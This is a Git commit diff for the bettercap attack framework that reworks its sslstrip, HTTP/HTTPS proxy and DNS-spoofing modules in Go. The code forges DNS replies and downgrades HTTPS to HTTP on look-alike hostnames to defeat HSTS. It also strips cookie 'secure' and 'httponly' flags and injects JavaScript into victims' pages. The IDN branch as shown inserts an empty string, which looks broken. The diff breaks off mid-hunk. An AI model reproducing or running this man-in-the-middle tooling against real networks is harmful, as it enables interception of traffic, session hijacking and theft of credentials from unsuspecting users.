Fix sslstrip & some related issues in http(s).proxy and dns.spoof

This commit is contained in:
Petitoto 2020-04-20 13:35:32 +01:00
parent 318029c022
commit 40c7203d1f
7 changed files with 220 additions and 218 deletions

View file

@ -7,6 +7,7 @@ import (
"strconv" "strconv"
"sync" "sync"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
@ -148,23 +149,21 @@ func (mod *DNSSpoofer) Configure() error {
return nil return nil
} }
func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) { func DnsReply(s *session.Session, TTL uint32, pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) (string, string) {
redir := fmt.Sprintf("(->%s)", address.String()) redir := fmt.Sprintf("(->%s)", address.String())
who := target.String() who := target.String()
if t, found := mod.Session.Lan.Get(target.String()); found { if t, found := s.Lan.Get(target.String()); found {
who = t.String() who = t.String()
} }
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who))
var err error var err error
var src, dst net.IP var src, dst net.IP
nlayer := pkt.NetworkLayer() nlayer := pkt.NetworkLayer()
if nlayer == nil { if nlayer == nil {
mod.Debug("missing network layer skipping packet.") log.Debug("missing network layer skipping packet.")
return return "", ""
} }
var eType layers.EthernetType var eType layers.EthernetType
@ -198,7 +197,7 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
Name: []byte(q.Name), Name: []byte(q.Name),
Type: q.Type, Type: q.Type,
Class: q.Class, Class: q.Class,
TTL: mod.TTL, TTL: TTL,
IP: address, IP: address,
}) })
} }
@ -232,8 +231,8 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
err, raw = packets.Serialize(&eth, &ip6, &udp, &dns) err, raw = packets.Serialize(&eth, &ip6, &udp, &dns)
if err != nil { if err != nil {
mod.Error("error serializing packet: %s.", err) log.Error("error serializing packet: %s.", err)
return return "", ""
} }
} else { } else {
ip4 := layers.IPv4{ ip4 := layers.IPv4{
@ -253,15 +252,18 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
err, raw = packets.Serialize(&eth, &ip4, &udp, &dns) err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
if err != nil { if err != nil {
mod.Error("error serializing packet: %s.", err) log.Error("error serializing packet: %s.", err)
return return "", ""
} }
} }
mod.Debug("sending %d bytes of packet ...", len(raw)) log.Debug("sending %d bytes of packet ...", len(raw))
if err := mod.Session.Queue.Send(raw); err != nil { if err := s.Queue.Send(raw); err != nil {
mod.Error("error sending packet: %s", err) log.Error("error sending packet: %s", err)
return "", ""
} }
return redir, who
} }
func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) { func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
@ -279,7 +281,10 @@ func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
for _, q := range dns.Questions { for _, q := range dns.Questions {
qName := string(q.Name) qName := string(q.Name)
if address := mod.Hosts.Resolve(qName); address != nil { if address := mod.Hosts.Resolve(qName); address != nil {
mod.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC) redir, who := DnsReply(mod.Session, mod.TTL, pkt, eth, udp, qName, address, dns, eth.SrcMAC)
if redir != "" && who != "" {
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(qName), tui.Dim(redir), tui.Bold(who))
}
break break
} else { } else {
mod.Debug("skipping domain %s", qName) mod.Debug("skipping domain %s", qName)

View file

@ -14,7 +14,7 @@ type HttpProxy struct {
func NewHttpProxy(s *session.Session) *HttpProxy { func NewHttpProxy(s *session.Session) *HttpProxy {
mod := &HttpProxy{ mod := &HttpProxy{
SessionModule: session.NewSessionModule("http.proxy", s), SessionModule: session.NewSessionModule("http.proxy", s),
proxy: NewHTTPProxy(s), proxy: NewHTTPProxy(s, "http.proxy"),
} }
mod.AddParam(session.NewIntParameter("http.port", mod.AddParam(session.NewIntParameter("http.port",
@ -54,6 +54,10 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip.useIDN",
"false",
"Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character"))
mod.AddHandler(session.NewModuleHandler("http.proxy on", "", mod.AddHandler(session.NewModuleHandler("http.proxy on", "",
"Start HTTP proxy.", "Start HTTP proxy.",
func(args []string) error { func(args []string) error {
@ -66,6 +70,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
return mod.Stop() return mod.Stop()
})) }))
mod.InitState("stripper")
return mod return mod
} }
@ -89,6 +95,7 @@ func (mod *HttpProxy) Configure() error {
var doRedirect bool var doRedirect bool
var scriptPath string var scriptPath string
var stripSSL bool var stripSSL bool
var useIDN bool
var jsToInject string var jsToInject string
var blacklist string var blacklist string
var whitelist string var whitelist string
@ -107,6 +114,8 @@ func (mod *HttpProxy) Configure() error {
return err return err
} else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil { } else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil {
return err return err
} else if err, useIDN = mod.BoolParam("http.proxy.sslstrip.useIDN"); err != nil {
return err
} else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil { } else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil {
return err return err
} else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil { } else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil {
@ -118,7 +127,12 @@ func (mod *HttpProxy) Configure() error {
mod.proxy.Blacklist = str.Comma(blacklist) mod.proxy.Blacklist = str.Comma(blacklist)
mod.proxy.Whitelist = str.Comma(whitelist) mod.proxy.Whitelist = str.Comma(whitelist)
return mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL) error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN)
// save stripper to share it with other http(s) proxies
mod.State.Store("stripper", mod.proxy.Stripper)
return error
} }
func (mod *HttpProxy) Start() error { func (mod *HttpProxy) Start() error {
@ -132,6 +146,7 @@ func (mod *HttpProxy) Start() error {
} }
func (mod *HttpProxy) Stop() error { func (mod *HttpProxy) Stop() error {
mod.State.Store("stripper", nil)
return mod.SetRunning(false, func() { return mod.SetRunning(false, func() {
mod.proxy.Stop() mod.proxy.Stop()
}) })

View file

@ -45,14 +45,14 @@ type HTTPProxy struct {
KeyFile string KeyFile string
Blacklist []string Blacklist []string
Whitelist []string Whitelist []string
Sess *session.Session
Stripper *SSLStripper
jsHook string jsHook string
isTLS bool isTLS bool
isRunning bool isRunning bool
doRedirect bool doRedirect bool
stripper *SSLStripper
sniListener net.Listener sniListener net.Listener
sess *session.Session
tag string tag string
} }
@ -72,18 +72,18 @@ func (l dummyLogger) Printf(format string, v ...interface{}) {
l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...))) l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...)))
} }
func NewHTTPProxy(s *session.Session) *HTTPProxy { func NewHTTPProxy(s *session.Session, tag string) *HTTPProxy {
p := &HTTPProxy{ p := &HTTPProxy{
Name: "http.proxy", Name: "http.proxy",
Proxy: goproxy.NewProxyHttpServer(), Proxy: goproxy.NewProxyHttpServer(),
sess: s, Sess: s,
stripper: NewSSLStripper(s, false), Stripper: NewSSLStripper(s, false, false),
isTLS: false, isTLS: false,
doRedirect: true, doRedirect: true,
Server: nil, Server: nil,
Blacklist: make([]string, 0), Blacklist: make([]string, 0),
Whitelist: make([]string, 0), Whitelist: make([]string, 0),
tag: session.AsTag("http.proxy"), tag: session.AsTag(tag),
} }
p.Proxy.Verbose = false p.Proxy.Verbose = false
@ -107,23 +107,23 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
} }
func (p *HTTPProxy) Debug(format string, args ...interface{}) { func (p *HTTPProxy) Debug(format string, args ...interface{}) {
p.sess.Events.Log(log.DEBUG, p.tag+format, args...) p.Sess.Events.Log(log.DEBUG, p.tag+format, args...)
} }
func (p *HTTPProxy) Info(format string, args ...interface{}) { func (p *HTTPProxy) Info(format string, args ...interface{}) {
p.sess.Events.Log(log.INFO, p.tag+format, args...) p.Sess.Events.Log(log.INFO, p.tag+format, args...)
} }
func (p *HTTPProxy) Warning(format string, args ...interface{}) { func (p *HTTPProxy) Warning(format string, args ...interface{}) {
p.sess.Events.Log(log.WARNING, p.tag+format, args...) p.Sess.Events.Log(log.WARNING, p.tag+format, args...)
} }
func (p *HTTPProxy) Error(format string, args ...interface{}) { func (p *HTTPProxy) Error(format string, args ...interface{}) {
p.sess.Events.Log(log.ERROR, p.tag+format, args...) p.Sess.Events.Log(log.ERROR, p.tag+format, args...)
} }
func (p *HTTPProxy) Fatal(format string, args ...interface{}) { func (p *HTTPProxy) Fatal(format string, args ...interface{}) {
p.sess.Events.Log(log.FATAL, p.tag+format, args...) p.Sess.Events.Log(log.FATAL, p.tag+format, args...)
} }
func (p *HTTPProxy) doProxy(req *http.Request) bool { func (p *HTTPProxy) doProxy(req *http.Request) bool {
@ -170,12 +170,32 @@ func (p *HTTPProxy) shouldProxy(req *http.Request) bool {
} }
func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
jsToInject string, stripSSL bool) error { jsToInject string, stripSSL bool, useIDN bool) error {
var err error var err error
p.stripper.Enable(stripSSL) // check if another http(s) proxy is using sslstrip and merge strippers
if stripSSL {
for _, mname := range []string{"http.proxy", "https.proxy"}{
err, m := p.Sess.Module(mname)
if err == nil && m.Running() {
var mextra interface{}
var mstripper *SSLStripper
mextra = m.Extra()
mextramap := mextra.(map[string]interface{})
mstripper = mextramap["stripper"].(*SSLStripper)
if mstripper != nil && mstripper.Enabled() {
p.Info("found another proxy using sslstrip -> merging strippers...")
p.Stripper = mstripper
break
}
}
}
}
p.Stripper.Enable(stripSSL, useIDN)
p.Address = address p.Address = address
p.doRedirect = doRedirect p.doRedirect = doRedirect
p.jsHook = ""
if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") { if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") {
p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject) p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject)
@ -195,7 +215,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
} }
if scriptPath != "" { if scriptPath != "" {
if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil { if err, p.Script = LoadHttpProxyScript(scriptPath, p.Sess); err != nil {
return err return err
} else { } else {
p.Debug("proxy script %s loaded.", scriptPath) p.Debug("proxy script %s loaded.", scriptPath)
@ -210,18 +230,18 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
} }
if p.doRedirect { if p.doRedirect {
if !p.sess.Firewall.IsForwardingEnabled() { if !p.Sess.Firewall.IsForwardingEnabled() {
p.Info("enabling forwarding.") p.Info("enabling forwarding.")
p.sess.Firewall.EnableForwarding(true) p.Sess.Firewall.EnableForwarding(true)
} }
p.Redirection = firewall.NewRedirection(p.sess.Interface.Name(), p.Redirection = firewall.NewRedirection(p.Sess.Interface.Name(),
"TCP", "TCP",
httpPort, httpPort,
p.Address, p.Address,
proxyPort) proxyPort)
if err := p.sess.Firewall.EnableRedirection(p.Redirection, true); err != nil { if err := p.Sess.Firewall.EnableRedirection(p.Redirection, true); err != nil {
return err return err
} }
@ -230,7 +250,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
p.Warning("port redirection disabled, the proxy must be set manually to work") p.Warning("port redirection disabled, the proxy must be set manually to work")
} }
p.sess.UnkCmdCallback = func(cmd string) bool { p.Sess.UnkCmdCallback = func(cmd string) bool {
if p.Script != nil { if p.Script != nil {
return p.Script.OnCommand(cmd) return p.Script.OnCommand(cmd)
} }
@ -277,14 +297,13 @@ func (p *HTTPProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
certFile string, certFile string,
keyFile string, jsToInject string, stripSSL bool) (err error) { keyFile string, jsToInject string, stripSSL bool, useIDN bool) (err error) {
if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL); err != nil { if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN); err != nil {
return err return err
} }
p.isTLS = true p.isTLS = true
p.Name = "https.proxy" p.Name = "https.proxy"
p.tag = session.AsTag("https.proxy")
p.CertFile = certFile p.CertFile = certFile
p.KeyFile = keyFile p.KeyFile = keyFile
@ -393,7 +412,7 @@ func (p *HTTPProxy) Start() {
var err error var err error
strip := tui.Yellow("enabled") strip := tui.Yellow("enabled")
if !p.stripper.Enabled() { if !p.Stripper.Enabled() {
strip = tui.Dim("disabled") strip = tui.Dim("disabled")
} }
@ -414,13 +433,13 @@ func (p *HTTPProxy) Start() {
func (p *HTTPProxy) Stop() error { func (p *HTTPProxy) Stop() error {
if p.doRedirect && p.Redirection != nil { if p.doRedirect && p.Redirection != nil {
p.Debug("disabling redirection %s", p.Redirection.String()) p.Debug("disabling redirection %s", p.Redirection.String())
if err := p.sess.Firewall.EnableRedirection(p.Redirection, false); err != nil { if err := p.Sess.Firewall.EnableRedirection(p.Redirection, false); err != nil {
return err return err
} }
p.Redirection = nil p.Redirection = nil
} }
p.sess.UnkCmdCallback = nil p.Sess.UnkCmdCallback = nil
if p.isTLS { if p.isTLS {
p.isRunning = false p.isRunning = false

View file

@ -4,6 +4,7 @@ import (
"io/ioutil" "io/ioutil"
"net/http" "net/http"
"strings" "strings"
"strconv"
"github.com/elazarl/goproxy" "github.com/elazarl/goproxy"
@ -24,7 +25,7 @@ func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*
p.fixRequestHeaders(req) p.fixRequestHeaders(req)
redir := p.stripper.Preprocess(req, ctx) redir := p.Stripper.Preprocess(req, ctx)
if redir != nil { if redir != nil {
// we need to redirect the user in order to make // we need to redirect the user in order to make
// some session cookie expire // some session cookie expire
@ -73,12 +74,12 @@ func (p *HTTPProxy) isScriptInjectable(res *http.Response) (bool, string) {
return false, "" return false, ""
} }
func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error, *http.Response) { func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error) {
defer res.Body.Close() defer res.Body.Close()
raw, err := ioutil.ReadAll(res.Body) raw, err := ioutil.ReadAll(res.Body)
if err != nil { if err != nil {
return err, nil return err
} else if html := string(raw); strings.Contains(html, "</head>") { } else if html := string(raw); strings.Contains(html, "</head>") {
p.Info("> injecting javascript (%d bytes) into %s (%d bytes) for %s", p.Info("> injecting javascript (%d bytes) into %s (%d bytes) for %s",
len(p.jsHook), len(p.jsHook),
@ -87,17 +88,15 @@ func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error,
tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0])) tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0]))
html = strings.Replace(html, "</head>", p.jsHook, -1) html = strings.Replace(html, "</head>", p.jsHook, -1)
newResp := goproxy.NewResponse(res.Request, cType, res.StatusCode, html) res.Header.Set("Content-Length", strconv.Itoa(len(html)))
for k, vv := range res.Header {
for _, v := range vv {
newResp.Header.Add(k, v)
}
}
return nil, newResp // reset the response body to the original unread state
res.Body = ioutil.NopCloser(strings.NewReader(html))
return nil
} }
return nil, nil return nil
} }
func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response { func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
@ -109,7 +108,7 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
if p.shouldProxy(res.Request) { if p.shouldProxy(res.Request) {
p.Debug("> %s %s %s%s", res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path) p.Debug("> %s %s %s%s", res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path)
p.stripper.Process(res, ctx) p.Stripper.Process(res, ctx)
// do we have a proxy script? // do we have a proxy script?
if p.Script != nil { if p.Script != nil {
@ -117,16 +116,20 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
if jsres != nil { if jsres != nil {
// the response has been changed by the script // the response has been changed by the script
p.logResponseAction(res.Request, jsres) p.logResponseAction(res.Request, jsres)
return jsres.ToResponse(res.Request) raw, err := ioutil.ReadAll(jsres.ToResponse(res.Request).Body)
if err == nil {
html := string(raw)
res.Header.Set("Content-Length", strconv.Itoa(len(html)))
// reset the response body to the original unread state
res.Body = ioutil.NopCloser(strings.NewReader(html))
}
} }
} }
// inject javascript code if specified and needed // inject javascript code if specified and needed
if doInject, cType := p.isScriptInjectable(res); doInject { if doInject, cType := p.isScriptInjectable(res); doInject {
if err, injectedResponse := p.doScriptInjection(res, cType); err != nil { if err := p.doScriptInjection(res, cType); err != nil {
p.Error("error while injecting javascript: %s", err) p.Error("error while injecting javascript: %s", err)
} else if injectedResponse != nil {
return injectedResponse
} }
} }
} }
@ -135,7 +138,7 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
} }
func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) { func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) {
p.sess.Events.Add(p.Name+".spoofed-request", struct { p.Sess.Events.Add(p.Name+".spoofed-request", struct {
To string To string
Method string Method string
Host string Host string
@ -151,7 +154,7 @@ func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) {
} }
func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) { func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) {
p.sess.Events.Add(p.Name+".spoofed-response", struct { p.Sess.Events.Add(p.Name+".spoofed-response", struct {
To string To string
Method string Method string
Host string Host string

View file

@ -34,25 +34,38 @@ func NewHost(name string) *Host {
type HostTracker struct { type HostTracker struct {
sync.RWMutex sync.RWMutex
hosts map[string]*Host uhosts map[string]*Host
shosts map[string]*Host
} }
func NewHostTracker() *HostTracker { func NewHostTracker() *HostTracker {
return &HostTracker{ return &HostTracker{
hosts: make(map[string]*Host), uhosts: make(map[string]*Host),
shosts: make(map[string]*Host),
} }
} }
func (t *HostTracker) Track(host, stripped string) { func (t *HostTracker) Track(host, stripped string) {
t.Lock() t.Lock()
defer t.Unlock() defer t.Unlock()
t.hosts[stripped] = NewHost(host) t.uhosts[stripped] = NewHost(host)
t.shosts[host] = NewHost(stripped)
} }
func (t *HostTracker) Unstrip(stripped string) *Host { func (t *HostTracker) Unstrip(stripped string) *Host {
t.RLock() t.RLock()
defer t.RUnlock() defer t.RUnlock()
if host, found := t.hosts[stripped]; found { if host, found := t.uhosts[stripped]; found {
return host
}
return nil
}
func (t *HostTracker) Strip(unstripped string) *Host {
t.RLock()
defer t.RUnlock()
if host, found := t.shosts[unstripped]; found {
return host return host
} }
return nil return nil

View file

@ -1,9 +1,7 @@
package http_proxy package http_proxy
import ( import (
"fmt"
"io/ioutil" "io/ioutil"
"net"
"net/http" "net/http"
"net/url" "net/url"
"regexp" "regexp"
@ -11,8 +9,8 @@ import (
"strconv" "strconv"
"github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
"github.com/bettercap/bettercap/modules/dns_spoof"
"github.com/elazarl/goproxy" "github.com/elazarl/goproxy"
"github.com/google/gopacket" "github.com/google/gopacket"
@ -20,39 +18,36 @@ import (
"github.com/google/gopacket/pcap" "github.com/google/gopacket/pcap"
"github.com/evilsocket/islazy/tui" "github.com/evilsocket/islazy/tui"
"golang.org/x/net/idna"
) )
var ( var (
maxRedirs = 5
httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`) httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
subdomains = map[string]string{ domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`)
"www": "wwwww", flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`)
"webmail": "wwebmail",
"mail": "wmail",
"m": "wmobile",
}
) )
type SSLStripper struct { type SSLStripper struct {
enabled bool enabled bool
useIDN bool
session *session.Session session *session.Session
cookies *CookieTracker cookies *CookieTracker
hosts *HostTracker hosts *HostTracker
handle *pcap.Handle handle *pcap.Handle
pktSourceChan chan gopacket.Packet pktSourceChan chan gopacket.Packet
redirs map[string]int
} }
func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper { func NewSSLStripper(s *session.Session, enabled bool, useIDN bool) *SSLStripper {
strip := &SSLStripper{ strip := &SSLStripper{
enabled: false, enabled: false,
useIDN: false,
cookies: NewCookieTracker(), cookies: NewCookieTracker(),
hosts: NewHostTracker(), hosts: NewHostTracker(),
session: s, session: s,
handle: nil, handle: nil,
redirs: make(map[string]int),
} }
strip.Enable(enabled) strip.Enable(enabled, useIDN)
return strip return strip
} }
@ -60,84 +55,6 @@ func (s *SSLStripper) Enabled() bool {
return s.enabled return s.enabled
} }
func (s *SSLStripper) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
redir := fmt.Sprintf("(->%s)", address)
who := target.String()
if t, found := s.session.Lan.Get(target.String()); found {
who = t.String()
}
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
var err error
var src, dst net.IP
nlayer := pkt.NetworkLayer()
if nlayer == nil {
log.Debug("Missing network layer skipping packet.")
return
}
pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
src = pip.DstIP
dst = pip.SrcIP
eth := layers.Ethernet{
SrcMAC: peth.DstMAC,
DstMAC: target,
EthernetType: layers.EthernetTypeIPv4,
}
answers := make([]layers.DNSResourceRecord, 0)
for _, q := range req.Questions {
answers = append(answers,
layers.DNSResourceRecord{
Name: []byte(q.Name),
Type: q.Type,
Class: q.Class,
TTL: 1024,
IP: address,
})
}
dns := layers.DNS{
ID: req.ID,
QR: true,
OpCode: layers.DNSOpCodeQuery,
QDCount: req.QDCount,
Questions: req.Questions,
Answers: answers,
}
ip4 := layers.IPv4{
Protocol: layers.IPProtocolUDP,
Version: 4,
TTL: 64,
SrcIP: src,
DstIP: dst,
}
udp := layers.UDP{
SrcPort: pudp.DstPort,
DstPort: pudp.SrcPort,
}
udp.SetNetworkLayerForChecksum(&ip4)
var raw []byte
err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
if err != nil {
log.Error("Error serializing packet: %s.", err)
return
}
log.Debug("Sending %d bytes of packet ...", len(raw))
if err := s.session.Queue.Send(raw); err != nil {
log.Error("Error sending packet: %s", err)
}
}
func (s *SSLStripper) onPacket(pkt gopacket.Packet) { func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
typeEth := pkt.Layer(layers.LayerTypeEthernet) typeEth := pkt.Layer(layers.LayerTypeEthernet)
typeUDP := pkt.Layer(layers.LayerTypeUDP) typeUDP := pkt.Layer(layers.LayerTypeUDP)
@ -153,14 +70,18 @@ func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
domain := string(q.Name) domain := string(q.Name)
original := s.hosts.Unstrip(domain) original := s.hosts.Unstrip(domain)
if original != nil && original.Address != nil { if original != nil && original.Address != nil {
s.dnsReply(pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC) redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
if redir != "" && who != "" {
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
}
} }
} }
} }
} }
func (s *SSLStripper) Enable(enabled bool) { func (s *SSLStripper) Enable(enabled bool, useIDN bool) {
s.enabled = enabled s.enabled = enabled
s.useIDN = useIDN
if enabled && s.handle == nil { if enabled && s.handle == nil {
var err error var err error
@ -208,23 +129,28 @@ func (s *SSLStripper) isContentStrippable(res *http.Response) bool {
func (s *SSLStripper) processURL(url string) string { func (s *SSLStripper) processURL(url string) string {
// first we remove the https schema // first we remove the https schema
url = strings.Replace(url, "https://", "http://", 1) url = url[8:]
// search for a known subdomain and replace it // search the first instance of "/"
found := false iEndHost := strings.Index(url, "/")
for sub, repl := range subdomains { if iEndHost == -1 {
what := fmt.Sprintf("://%s", sub) iEndHost = len(url)
with := fmt.Sprintf("://%s", repl)
if strings.Contains(url, what) {
url = strings.Replace(url, what, with, 1)
found = true
break
}
} }
// fallback // search if port is specified
if !found { iPort := strings.Index(url[:iEndHost], ":")
url = strings.Replace(url, "://", "://wwww.", 1) if iPort == -1 {
iPort = iEndHost
} }
if s.useIDN {
// add an international character to the domain name & strip HTTPS port (if any)
url = url[:iPort] + "" + url[iEndHost:]
} else {
// double the last TLD's character & strip HTTPS port (if any)
url = url[:iPort] + string(url[iPort-1]) + url[iEndHost:]
}
// finally we add the http schema
url = "http://" + url
return url return url
} }
@ -238,19 +164,14 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi
return return
} }
// well ...
if req.URL.Scheme == "https" {
// TODO: check for max redirects?
req.URL.Scheme = "http"
}
// handle stripped domains // handle stripped domains
original := s.hosts.Unstrip(req.Host) original := s.hosts.Unstrip(req.Host)
if original != nil { if original != nil {
log.Info("[%s] Replacing host %s with %s in request from %s", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr) log.Info("[%s] Replacing host %s with %s in request from %s and transmitting HTTPS", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
req.Host = original.Hostname req.Host = original.Hostname
req.URL.Host = original.Hostname req.URL.Host = original.Hostname
req.Header.Set("Host", original.Hostname) req.Header.Set("Host", original.Hostname)
req.URL.Scheme = "https"
} }
if !s.cookies.IsClean(req) { if !s.cookies.IsClean(req) {
@ -264,24 +185,30 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi
return return
} }
func (s *SSLStripper) isMaxRedirs(hostname string) bool { func (s *SSLStripper) fixCookies(res *http.Response) {
// did we already track redirections for this host? origHost := res.Request.URL.Hostname()
if nredirs, found := s.redirs[hostname]; found { strippedHost := s.hosts.Strip(origHost)
// reached the threshold?
if nredirs >= maxRedirs { if strippedHost != nil && strippedHost.Hostname != origHost && res.Header["Set-Cookie"] != nil {
log.Warning("[%s] Hit max redirections for %s, serving HTTPS.", tui.Green("sslstrip"), hostname) // get domains from hostnames
// reset if origParts, strippedParts := strings.Split(origHost, "."), strings.Split(strippedHost.Hostname, "."); len(origParts) > 1 && len(strippedParts) > 1 {
delete(s.redirs, hostname) origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1]
return true strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1]
} else {
// increment log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"),tui.Bold(strippedHost.Hostname))
s.redirs[hostname]++ cookies := make([]string, len(res.Header["Set-Cookie"]))
// replace domain and strip "secure" flag for each cookie
for i, cookie := range res.Header["Set-Cookie"] {
domainIndex := domainCookieParser.FindStringIndex(cookie)
if domainIndex != nil {
cookie = cookie[:domainIndex[0]] + strings.Replace(cookie[domainIndex[0]:domainIndex[1]], origDomain, strippedDomain, 1) + cookie[domainIndex[1]:]
}
cookies[i] = flagsCookieParser.ReplaceAllString(cookie, "")
}
res.Header["Set-Cookie"] = cookies
s.cookies.Track(res.Request)
} }
} else {
// start tracking redirections
s.redirs[hostname] = 1
} }
return false
} }
func (s *SSLStripper) fixResponseHeaders(res *http.Response) { func (s *SSLStripper) fixResponseHeaders(res *http.Response) {
@ -310,12 +237,13 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
s.fixResponseHeaders(res) s.fixResponseHeaders(res)
orig := res.Request.URL
origHost := orig.Hostname()
// is the server redirecting us? // is the server redirecting us?
if res.StatusCode != 200 { if res.StatusCode != 200 {
// extract Location header // extract Location header
if location, err := res.Location(); location != nil && err == nil { if location, err := res.Location(); location != nil && err == nil {
orig := res.Request.URL
origHost := orig.Hostname()
newHost := location.Host newHost := location.Host
newURL := location.String() newURL := location.String()
@ -324,17 +252,14 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
